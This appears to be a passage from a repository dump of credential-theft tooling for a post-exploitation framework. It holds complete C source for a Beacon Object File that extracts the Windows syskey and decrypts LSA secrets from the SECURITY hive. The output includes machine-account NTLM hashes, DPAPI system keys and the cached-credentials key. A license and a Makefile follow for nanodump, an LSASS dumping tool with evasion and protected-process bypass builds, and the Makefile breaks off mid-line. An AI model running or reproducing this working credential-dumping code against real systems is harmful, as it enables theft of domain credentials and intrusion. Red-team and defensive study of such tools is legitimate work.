    "content": "/*\n * lsadump_secrets BOF by shashinma\n * Dumps LSA secrets from the SECURITY registry hive\n * Requires SYSTEM privileges\n */\n\n#include \"include/secrets.h\"\n#include \"lsadump_helper.c\"\n\n// ============================================================================\n// Hash Computation Functions\n// ============================================================================\n\nstatic BOOL ComputeMD4(HCRYPTPROV hProv, const BYTE* data, DWORD dataLen, BYTE hash[16]) {\n    HCRYPTHASH hHash = 0;\n    DWORD hashLen = 16;\n    BOOL result = FALSE;\n\n    if (!ADVAPI32$CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))\n        return FALSE;\n\n    if (ADVAPI32$CryptHashData(hHash, data, dataLen, 0))\n        result = ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);\n\n    ADVAPI32$CryptDestroyHash(hHash);\n    return result;\n}\n\nstatic BOOL ComputeSHA1(HCRYPTPROV hProv, const BYTE* data, DWORD dataLen, BYTE hash[20]) {\n    HCRYPTHASH hHash = 0;\n    DWORD hashLen = 20;\n    BOOL result = FALSE;\n\n    if (!ADVAPI32$CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))\n        return FALSE;\n\n    if (ADVAPI32$CryptHashData(hHash, data, dataLen, 0))\n        result = ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0);\n\n    ADVAPI32$CryptDestroyHash(hHash);\n    return result;\n}\n\n// ============================================================================\n// Domain Information\n// ============================================================================\n\nstatic void GetDomainInfo(HKEY hSecurity) {\n    HKEY hPolicy, hKey;\n    DWORD size, type;\n    BYTE* buffer = NULL;\n    \n    if (ADVAPI32$RegOpenKeyExW(hSecurity, L\"Policy\", 0, KEY_READ, &hPolicy) != ERROR_SUCCESS)\n        return;\n\n    if (ADVAPI32$RegOpenKeyExW(hPolicy, L\"PolAcDmN\", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {\n        size = 0;\n        ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, &type, NULL, &size);\n        if (size > 0) {\n            buffer = (BYTE*)AllocMem(size);\n            if (buffer && ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, NULL, buffer, &size) == ERROR_SUCCESS) {\n                if (size >= 8) {\n                    DWORD strLen = *(DWORD*)buffer;\n                    wchar_t* domainName = (wchar_t*)(buffer + 8);\n                    if (strLen > 0) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"Domain     : %S\\n\", domainName);\n                    }\n                }\n            }\n            FreeMem(buffer);\n        }\n        ADVAPI32$RegCloseKey(hKey);\n    }\n\n    if (ADVAPI32$RegOpenKeyExW(hPolicy, L\"PolPrDmN\", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {\n        size = 0;\n        ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, &type, NULL, &size);\n        if (size > 0) {\n            buffer = (BYTE*)AllocMem(size);\n            if (buffer && ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, NULL, buffer, &size) == ERROR_SUCCESS) {\n                if (size >= 8) {\n                    DWORD strLen = *(DWORD*)buffer;\n                    wchar_t* domainName = (wchar_t*)(buffer + 8);\n                    if (strLen > 0) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"Domain name: %S\\n\", domainName);\n                    }\n                }\n            }\n            FreeMem(buffer);\n        }\n        ADVAPI32$RegCloseKey(hKey);\n    }\n\n    if (ADVAPI32$RegOpenKeyExW(hPolicy, L\"PolDnDDN\", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {\n        size = 0;\n        ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, &type, NULL, &size);\n        if (size > 0) {\n            buffer = (BYTE*)AllocMem(size);\n            if (buffer && ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, NULL, buffer, &size) == ERROR_SUCCESS) {\n                if (size >= 8) {\n                    DWORD strLen = *(DWORD*)buffer;\n                    wchar_t* dnsName = (wchar_t*)(buffer + 8);\n                    if (strLen > 0) {\n                        BeaconPrintf(CALLBACK_OUTPUT, \"Domain FQDN: %S\\n\", dnsName);\n                    }\n                }\n            }\n            FreeMem(buffer);\n        }\n        ADVAPI32$RegCloseKey(hKey);\n    }\n\n    if (ADVAPI32$RegOpenKeyExW(hPolicy, L\"PolRevision\", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {\n        DWORD revision[2] = {0, 0};\n        size = sizeof(revision);\n        if (ADVAPI32$RegQueryValueExW(hKey, NULL, NULL, NULL, (BYTE*)revision, &size) == ERROR_SUCCESS) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\nPolicy subsystem is : %d.%d\\n\", revision[0] >> 16, revision[0] & 0xFFFF);\n        }\n        ADVAPI32$RegCloseKey(hKey);\n    }\n\n    ADVAPI32$RegCloseKey(hPolicy);\n}\n\n// ============================================================================\n// AES-256 Derive and Decrypt\n// ============================================================================\n\nstatic BOOL DeriveAndDecrypt(HCRYPTPROV hProv, const BYTE* key, DWORD keySize, \n                              const BYTE* lazyiv, BYTE* data, DWORD* dataSize) {\n    HCRYPTHASH hHash = 0;\n    HCRYPTKEY hKey = 0;\n    BYTE derivedKey[32];\n    DWORD hashLen = 32;\n    DWORD i;\n    AES_KEY_BLOB keyBlob;\n    DWORD mode = CRYPT_MODE_ECB;\n    BOOL result = FALSE;\n\n    if (!ADVAPI32$CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash))\n        return FALSE;\n\n    ADVAPI32$CryptHashData(hHash, (BYTE*)key, keySize, 0);\n    for (i = 0; i < 1000; i++)\n        ADVAPI32$CryptHashData(hHash, (BYTE*)lazyiv, LAZY_NT6_IV_SIZE, 0);\n\n    ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, derivedKey, &hashLen, 0);\n    ADVAPI32$CryptDestroyHash(hHash);\n\n    keyBlob.header.bType = PLAINTEXTKEYBLOB;\n    keyBlob.header.bVersion = CUR_BLOB_VERSION;\n    keyBlob.header.reserved = 0;\n    keyBlob.header.aiKeyAlg = CALG_AES_256;\n    keyBlob.keySize = 32;\n    MSVCRT$memcpy(keyBlob.key, derivedKey, 32);\n\n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey))\n        return FALSE;\n\n    ADVAPI32$CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0);\n    result = ADVAPI32$CryptDecrypt(hKey, 0, FALSE, 0, data, dataSize);\n    ADVAPI32$CryptDestroyKey(hKey);\n    \n    return result;\n}\n\n// ============================================================================\n// Get LSA Keys\n// ============================================================================\n\nstatic BOOL GetLsaKeys(HKEY hSecurity, const BYTE sysKey[SYSKEY_LENGTH], HCRYPTPROV hProv, LSA_KEYS_INFO* pInfo) {\n    HKEY hPolicy, hPolKey;\n    LONG res;\n    DWORD size, type;\n    PBYTE buffer = NULL;\n    DWORD encryptedSize, secretSize;\n    DWORD i, offset;\n\n    MSVCRT$memset(pInfo, 0, sizeof(LSA_KEYS_INFO));\n\n    res = ADVAPI32$RegOpenKeyExW(hSecurity, L\"Policy\", 0, KEY_READ, &hPolicy);\n    if (res != ERROR_SUCCESS) return FALSE;\n\n    res = ADVAPI32$RegOpenKeyExW(hPolicy, L\"PolEKList\", 0, KEY_READ, &hPolKey);\n    if (res != ERROR_SUCCESS) {\n        ADVAPI32$RegCloseKey(hPolicy);\n        return FALSE;\n    }\n\n    size = 0;\n    ADVAPI32$RegQueryValueExW(hPolKey, NULL, NULL, &type, NULL, &size);\n    if (size == 0) {\n        ADVAPI32$RegCloseKey(hPolKey);\n        ADVAPI32$RegCloseKey(hPolicy);\n        return FALSE;\n    }\n\n    buffer = (PBYTE)AllocMem(size);\n    if (!buffer) {\n        ADVAPI32$RegCloseKey(hPolKey);\n        ADVAPI32$RegCloseKey(hPolicy);\n        return FALSE;\n    }\n\n    ADVAPI32$RegQueryValueExW(hPolKey, NULL, NULL, NULL, buffer, &size);\n    ADVAPI32$RegCloseKey(hPolKey);\n    ADVAPI32$RegCloseKey(hPolicy);\n\n    encryptedSize = size - OFF_ENCRYPTED;\n    if (!DeriveAndDecrypt(hProv, sysKey, SYSKEY_LENGTH, buffer + OFF_LAZYIV, buffer + OFF_ENCRYPTED, &encryptedSize)) {\n        FreeMem(buffer);\n        return FALSE;\n    }\n\n    secretSize = *(DWORD*)(buffer + OFF_ENCRYPTED + OFF_SECRET_SIZE);\n    if (secretSize == 0 || secretSize > 4096) {\n        FreeMem(buffer);\n        return FALSE;\n    }\n\n    pInfo->keys = (PBYTE)AllocMem(secretSize);\n    if (!pInfo->keys) {\n        FreeMem(buffer);\n        return FALSE;\n    }\n    MSVCRT$memcpy(pInfo->keys, buffer + OFF_ENCRYPTED + OFF_SECRET_DATA, secretSize);\n    pInfo->nbKeys = *(DWORD*)(pInfo->keys + OFF_KEYS_NBKEYS);\n\n    MSVCRT$memcpy(pInfo->currentKeyId, pInfo->keys + OFF_KEYS_CURRENTKEYID, 16);\n\n    offset = 0;\n    for (i = 0; i < pInfo->nbKeys; i++) {\n        PBYTE keyPtr = pInfo->keys + OFF_KEYS_KEYS + offset;\n        DWORD keySize = *(DWORD*)(keyPtr + OFF_KEY_KEYSIZE);\n        \n        if (MSVCRT$memcmp(pInfo->currentKeyId, keyPtr + OFF_KEY_KEYID, 16) == 0) {\n            pInfo->currentKeySize = keySize;\n            if (keySize <= 64) {\n                MSVCRT$memcpy(pInfo->currentKey, keyPtr + OFF_KEY_KEY, keySize);\n            }\n            break;\n        }\n        offset += OFF_KEY_KEY + keySize;\n    }\n\n    FreeMem(buffer);\n    return TRUE;\n}\n\n// ============================================================================\n// Find LSA Key by GUID\n// ============================================================================\n\nstatic BOOL FindLsaKey(LSA_KEYS_INFO* pInfo, const BYTE* keyId, PBYTE* pKey, PDWORD pKeySize) {\n    DWORD i, offset = 0;\n    PBYTE keyPtr;\n    DWORD keySize;\n\n    for (i = 0; i < pInfo->nbKeys; i++) {\n        keyPtr = pInfo->keys + OFF_KEYS_KEYS + offset;\n        keySize = *(DWORD*)(keyPtr + OFF_KEY_KEYSIZE);\n        \n        if (MSVCRT$memcmp(keyId, keyPtr + OFF_KEY_KEYID, 16) == 0) {\n            *pKey = keyPtr + OFF_KEY_KEY;\n            *pKeySize = keySize;\n            return TRUE;\n        }\n        \n        offset += OFF_KEY_KEY + keySize;\n    }\n    return FALSE;\n}\n\n// ============================================================================\n// Decrypt Secret\n// ============================================================================\n\nstatic BOOL DecryptSecretValue(HKEY hSecrets, const wchar_t* secretName, const wchar_t* valueName,\n                               LSA_KEYS_INFO* pInfo, HCRYPTPROV hProv, PBYTE* pData, PDWORD pSize) {\n    HKEY hSecret, hVal;\n    LONG res;\n    DWORD size, type, encryptedSize, secretSize;\n    PBYTE buffer = NULL;\n    PBYTE key;\n    DWORD keySize;\n\n    res = ADVAPI32$RegOpenKeyExW(hSecrets, secretName, 0, KEY_READ, &hSecret);\n    if (res != ERROR_SUCCESS) return FALSE;\n\n    res = ADVAPI32$RegOpenKeyExW(hSecret, valueName, 0, KEY_READ, &hVal);\n    ADVAPI32$RegCloseKey(hSecret);\n    if (res != ERROR_SUCCESS) return FALSE;\n\n    size = 0;\n    ADVAPI32$RegQueryValueExW(hVal, NULL, NULL, &type, NULL, &size);\n    if (size == 0 || size < OFF_ENCRYPTED) {\n        ADVAPI32$RegCloseKey(hVal);\n        return FALSE;\n    }\n\n    buffer = (PBYTE)AllocMem(size);\n    if (!buffer) {\n        ADVAPI32$RegCloseKey(hVal);\n        return FALSE;\n    }\n\n    ADVAPI32$RegQueryValueExW(hVal, NULL, NULL, NULL, buffer, &size);\n    ADVAPI32$RegCloseKey(hVal);\n\n    if (!FindLsaKey(pInfo, buffer + OFF_KEYID, &key, &keySize)) {\n        FreeMem(buffer);\n        return FALSE;\n    }\n\n    encryptedSize = size - OFF_ENCRYPTED;\n    if (!DeriveAndDecrypt(hProv, key, keySize, buffer + OFF_LAZYIV, buffer + OFF_ENCRYPTED, &encryptedSize)) {\n        FreeMem(buffer);\n        return FALSE;\n    }\n\n    secretSize = *(DWORD*)(buffer + OFF_ENCRYPTED + OFF_SECRET_SIZE);\n    if (secretSize == 0 || secretSize > 65536) {\n        FreeMem(buffer);\n        return FALSE;\n    }\n\n    *pData = (PBYTE)AllocMem(secretSize);\n    if (*pData) {\n        MSVCRT$memcpy(*pData, buffer + OFF_ENCRYPTED + OFF_SECRET_DATA, secretSize);\n        *pSize = secretSize;\n    }\n\n    FreeMem(buffer);\n    return (*pData != NULL);\n}\n\n// ============================================================================\n// Display Secret\n// ============================================================================\n\nstatic void DisplaySecretData(const wchar_t* prefix, const BYTE* data, DWORD size, HCRYPTPROV hProv, const wchar_t* name) {\n    char prefixA[16];\n    DWORD i;\n    BOOL isPrintable = TRUE;\n\n    for (i = 0; prefix[i] && i < 15; i++)\n        prefixA[i] = (char)prefix[i];\n    prefixA[i] = '\\0';\n\n    for (i = 0; i < size; i++) {\n        if (data[i] != 0 && (data[i] < 0x20 || data[i] > 0x7e)) {\n            isPrintable = FALSE;\n            break;\n        }\n    }\n\n    char hexBuf[512];\n    if (isPrintable && size > 2) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"%s/text: %.*S\\n\", prefixA, size / sizeof(wchar_t), data);\n    } else {\n        FormatHex(data, size > 64 ? 64 : size, hexBuf, sizeof(hexBuf));\n        if (size > 64)\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s/hex : %s...\\n\", prefixA, hexBuf);\n        else\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s/hex : %s\\n\", prefixA, hexBuf);\n    }\n\n    if (MSVCRT$_wcsicmp(name, L\"$MACHINE.ACC\") == 0 && size > 0) {\n        BYTE ntlmHash[16];\n        BYTE sha1Hash[20];\n        \n        if (ComputeMD4(hProv, data, size, ntlmHash)) {\n            FormatHex(ntlmHash, 16, hexBuf, sizeof(hexBuf));\n            BeaconPrintf(CALLBACK_OUTPUT, \"    NTLM: %s\\n\", hexBuf);\n        }\n        \n        if (ComputeSHA1(hProv, data, size, sha1Hash)) {\n            FormatHex(sha1Hash, 20, hexBuf, sizeof(hexBuf));\n            BeaconPrintf(CALLBACK_OUTPUT, \"    SHA1: %s\\n\", hexBuf);\n        }\n    }\n\n    if (MSVCRT$_wcsicmp(name, L\"DPAPI_SYSTEM\") == 0 && size == sizeof(DWORD) + 2 * SHA_DIGEST_LENGTH) {\n        char hexBuf2[64], hexBuf3[64];\n        FormatHex(data + sizeof(DWORD), 2 * SHA_DIGEST_LENGTH, hexBuf, sizeof(hexBuf));\n        FormatHex(data + sizeof(DWORD), SHA_DIGEST_LENGTH, hexBuf2, sizeof(hexBuf2));\n        FormatHex(data + sizeof(DWORD) + SHA_DIGEST_LENGTH, SHA_DIGEST_LENGTH, hexBuf3, sizeof(hexBuf3));\n        BeaconPrintf(CALLBACK_OUTPUT, \"    full: %s\\n    m/u : %s / %s\\n\", hexBuf, hexBuf2, hexBuf3);\n    }\n\n    if (MSVCRT$_wcsicmp(name, L\"NL$KM\") == 0 && size == 64) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"    (Cached domain credentials key)\\n\");\n    }\n}\n\n// ============================================================================\n// Enumerate Secrets\n// ============================================================================\n\nstatic void EnumerateSecrets(HKEY hSecurity, LSA_KEYS_INFO* pInfo, HCRYPTPROV hProv) {\n    HKEY hSecrets;\n    LONG res;\n    DWORD numSubKeys = 0, maxKeyLen = 0;\n    wchar_t* keyName = NULL;\n    DWORD i, keyNameLen;\n    PBYTE curData, oldData;\n    DWORD curSize, oldSize;\n\n    res = ADVAPI32$RegOpenKeyExW(hSecurity, L\"Policy\\\\Secrets\", 0, KEY_READ, &hSecrets);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open Secrets: %d\\n\", res);\n        return;\n    }\n\n    ADVAPI32$RegQueryInfoKeyW(hSecrets, NULL, NULL, NULL, &numSubKeys, &maxKeyLen, NULL, NULL, NULL, NULL, NULL, NULL);\n\n    maxKeyLen++;\n    keyName = (wchar_t*)AllocMem((maxKeyLen + 1) * sizeof(wchar_t));\n    if (!keyName) {\n        ADVAPI32$RegCloseKey(hSecrets);\n        return;\n    }\n\n    for (i = 0; i < numSubKeys; i++) {\n        char nameA[128];\n        DWORD j;\n\n        keyNameLen = maxKeyLen;\n        res = ADVAPI32$RegEnumKeyExW(hSecrets, i, keyName, &keyNameLen, NULL, NULL, NULL, NULL);\n        if (res != ERROR_SUCCESS) continue;\n\n        for (j = 0; j < 127 && keyName[j]; j++) nameA[j] = (char)keyName[j];\n        nameA[j] = '\\0';\n\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\nSecret  : %s\", nameA);\n\n        if (MSVCRT$_wcsnicmp(keyName, L\"_SC_\", 4) == 0) {\n            wchar_t servicePath[256];\n            HKEY hService;\n            MSVCRT$swprintf_s(servicePath, 256, L\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\%s\", keyName + 4);\n            if (ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, servicePath, 0, KEY_READ, &hService) == ERROR_SUCCESS) {\n                wchar_t objectName[128];\n                DWORD objNameSize = sizeof(objectName);\n                if (ADVAPI32$RegQueryValueExW(hService, L\"ObjectName\", NULL, NULL, (BYTE*)objectName, &objNameSize) == ERROR_SUCCESS) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \" / service '%s' with username : %S\", nameA + 4, objectName);\n                }\n                ADVAPI32$RegCloseKey(hService);\n            }\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n\n        curData = NULL; curSize = 0;\n        oldData = NULL; oldSize = 0;\n\n        if (DecryptSecretValue(hSecrets, keyName, L\"CurrVal\", pInfo, hProv, &curData, &curSize)) {\n            DisplaySecretData(L\"cur\", curData, curSize, hProv, keyName);\n            FreeMem(curData);\n        }\n\n        if (DecryptSecretValue(hSecrets, keyName, L\"OldVal\", pInfo, hProv, &oldData, &oldSize)) {\n            DisplaySecretData(L\"old\", oldData, oldSize, hProv, keyName);\n            FreeMem(oldData);\n        }\n    }\n\n    FreeMem(keyName);\n    ADVAPI32$RegCloseKey(hSecrets);\n}\n\n// ============================================================================\n// Entry Point\n// ============================================================================\n\nvoid go(char* args, int len) {\n    (void)args; (void)len;\n    \n    HKEY hSystem = NULL, hSecurity = NULL;\n    BYTE sysKey[SYSKEY_LENGTH];\n    LONG res;\n    HCRYPTPROV hProv = 0;\n    LSA_KEYS_INFO lsaInfo;\n    char computerName[256];\n    DWORD computerNameLen = 256;\n    char hexStr[128];\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\n\n    res = ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, L\"SYSTEM\", 0, KEY_READ, &hSystem);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open SYSTEM: %d\\n\", res);\n        return;\n    }\n\n    if (!GetSyskey(hSystem, sysKey)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to extract syskey\\n\");\n        ADVAPI32$RegCloseKey(hSystem);\n        return;\n    }\n\n    KERNEL32$GetComputerNameA(computerName, &computerNameLen);\n    BeaconPrintf(CALLBACK_OUTPUT, \"Local name : %s\\n\", computerName);\n    FormatHex(sysKey, SYSKEY_LENGTH, hexStr, sizeof(hexStr));\n    BeaconPrintf(CALLBACK_OUTPUT, \"SysKey : %s\\n\", hexStr);\n    ADVAPI32$RegCloseKey(hSystem);\n\n    res = ADVAPI32$RegOpenKeyExW(HKEY_LOCAL_MACHINE, L\"SECURITY\", 0, KEY_READ, &hSecurity);\n    if (res != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open SECURITY: %d (requires SYSTEM privileges)\\n\", res);\n        return;\n    }\n\n    GetDomainInfo(hSecurity);\n\n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] CryptAcquireContext failed\\n\");\n        goto cleanup;\n    }\n\n    if (!GetLsaKeys(hSecurity, sysKey, hProv, &lsaInfo)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to extract LSA keys\\n\");\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        goto cleanup;\n    }\n\n    FormatHex(lsaInfo.currentKey, lsaInfo.currentKeySize, hexStr, sizeof(hexStr));\n    BeaconPrintf(CALLBACK_OUTPUT, \"LSA Key(s) : %u, default {%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x}\\n\",\n        lsaInfo.nbKeys,\n        lsaInfo.currentKeyId[3], lsaInfo.currentKeyId[2], lsaInfo.currentKeyId[1], lsaInfo.currentKeyId[0],\n        lsaInfo.currentKeyId[5], lsaInfo.currentKeyId[4],\n        lsaInfo.currentKeyId[7], lsaInfo.currentKeyId[6],\n        lsaInfo.currentKeyId[8], lsaInfo.currentKeyId[9],\n        lsaInfo.currentKeyId[10], lsaInfo.currentKeyId[11], lsaInfo.currentKeyId[12], lsaInfo.currentKeyId[13], lsaInfo.currentKeyId[14], lsaInfo.currentKeyId[15]);\n    BeaconPrintf(CALLBACK_OUTPUT, \"  [00] {%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x} %s\\n\",\n        lsaInfo.currentKeyId[3], lsaInfo.currentKeyId[2], lsaInfo.currentKeyId[1], lsaInfo.currentKeyId[0],\n        lsaInfo.currentKeyId[5], lsaInfo.currentKeyId[4],\n        lsaInfo.currentKeyId[7], lsaInfo.currentKeyId[6],\n        lsaInfo.currentKeyId[8], lsaInfo.currentKeyId[9],\n        lsaInfo.currentKeyId[10], lsaInfo.currentKeyId[11], lsaInfo.currentKeyId[12], lsaInfo.currentKeyId[13], lsaInfo.currentKeyId[14], lsaInfo.currentKeyId[15],\n        hexStr);\n\n    EnumerateSecrets(hSecurity, &lsaInfo, hProv);\n\n    FreeMem(lsaInfo.keys);\n    ADVAPI32$CryptReleaseContext(hProv, 0);\n\ncleanup:\n    ADVAPI32$RegCloseKey(hSecurity);\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2024 Fortra\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Creds-BOF/nanodump/Makefile",
    "content": "BOFNAME := nanodump\nCC_x64 := x86_64-w64-mingw32-gcc\nCC_x86 := i686-w64-mingw32-gcc\nGCC := gcc\nSTRIP_x64 := x86_64-w64-mingw32-strip\nSTRIP_x86 := i686-w64-mingw32-strip\nOPTIONS := -masm=intel -Wimplicit-function-declaration -Wall -I include -Wl,--dynamicbase\nPPL_MEDIC_OPTIONS := -Wno-trigraphs -DPASS_PARAMS_VIA_NAMED_PIPES=1\nSSP_OPTIONS := -DPASS_PARAMS_VIA_NAMED_PIPES=1\n\nnanodump:\n\t@(mkdir dist 2>/dev/null) && echo 'creating dist' || echo 'dist exists'\n\n\t@$(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS) -DNANO -DEXE\n\t@$(STRIP_x64) --strip-all dist/$(BOFNAME).x64.exe\n\n\t@$(CC_x86) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS) -DNANO -DEXE\n\t@$(STRIP_x86) --strip-all dist/$(BOFNAME).x86.exe\n\n\t@$(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o $(OPTIONS) -DNANO -DBOF\n\t@$(STRIP_x64) --strip-unneeded dist/$(BOFNAME).x64.o && echo '[+] nanodump x64' || echo '[!] nanodump x64'\n\n\t@$(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o $(OPTIONS) -DNANO -DBOF\n\t@$(STRIP_x86) --strip-unneeded dist/$(BOFNAME).x86.o && echo '[+] nanodump x86' || echo '[!] nanodump x86'\n\n\t@$(GCC) source/bin2c.c -o dist/bin2c -static -s -Os\n\n\t@$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x64.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared\n\t@$(STRIP_x64) --strip-all dist/$(BOFNAME)_ssp.x64.dll && echo '[+] nanodump_ssp Dll x64' || echo '[!] nanodump_ssp Dll x64'\n\t@./dist/bin2c dist/$(BOFNAME)_ssp.x64.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x64.h\n\n\t@$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/dinvoke.c source/pipe.c source/entry.c -o dist/$(BOFNAME)_ssp.x86.dll $(OPTIONS) $(SSP_OPTIONS) -DNANO -DSSP -DDDL -shared\n\t@$(STRIP_x86) --strip-all dist/$(BOFNAME)_ssp.x86.dll && echo '[+] nanodump_ssp Dll x86' || echo '[!] nanodump_ssp Dll x86'\n\t@./dist/bin2c dist/$(BOFNAME)_ssp.x86.dll $(BOFNAME)_ssp_dll > include/$(BOFNAME)_ssp_dll.x86.h\n\n\t@$(CC_x64) -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP\n\t@$(STRIP_x64) --strip-unneeded dist/$(BOFNAME)_ssp.x64.o && echo '[+] nanodump_ssp x64' || echo '[!] nanodump_ssp x64'\n\n\t@$(CC_x86) -c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.o $(OPTIONS) $(SSP_OPTIONS) -DBOF -DSSP\n\t@$(STRIP_x86) --strip-unneeded dist/$(BOFNAME)_ssp.x86.o && echo '[+] nanodump_ssp x86' || echo '[!] nanodump_ssp x86'\n\n\t@$(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x64.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP\n\t@$(STRIP_x64) --strip-all dist/$(BOFNAME)_ssp.x64.exe\n\n\t@$(CC_x86) source/utils.c source/syscalls.c source/dinvoke.c source/pipe.c source/ssp/ssp_utils.c source/ssp/ssp.c -o dist/$(BOFNAME)_ssp.x86.exe $(OPTIONS) $(SSP_OPTIONS) -DEXE -DSSP\n\t@$(STRIP_x86) --strip-all dist/$(BOFNAME)_ssp.x86.exe\n\n\t@$(CC_x64) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x64.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared\n\t@$(STRIP_x64) --strip-all dist/$(BOFNAME)_ppl_dump.x64.dll && echo '[+] nanodump_ppl_dump Dll x64' || echo '[!] nanodump_ppl_dump Dll x64'\n\t@./dist/bin2c dist/$(BOFNAME)_ppl_dump.x64.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x64.h\n\n\t@$(CC_x86) source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/nanodump.c source/entry.c -o dist/$(BOFNAME)_ppl_dump.x86.dll $(OPTIONS) -DNANO -DPPL_DUMP -DDDL -shared\n\t@$(STRIP_x86) --strip-all dist/$(BOFNAME)_ppl_dump.x86.dll && echo '[+] nanodump_ppl_dump Dll x86' || echo '[!] nanodump_ppl_dump Dll x86'\n\t@./dist/bin2c dist/$(BOFNAME)_ppl_dump.x86.dll $(BOFNAME)_ppl_dump_dll > include/$(BOFNAME)_ppl_dump_dll.x86.h\n\n\t@$(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/impersonate.c source/ppl/ppl.c source/ppl/ppl_dump.c -o dist/$(BOFNAME)_ppl_dump.x64.exe $(OPTIONS) -DEXE -DPPL_DUMP\n\t@$(STRIP_x64) --strip-all 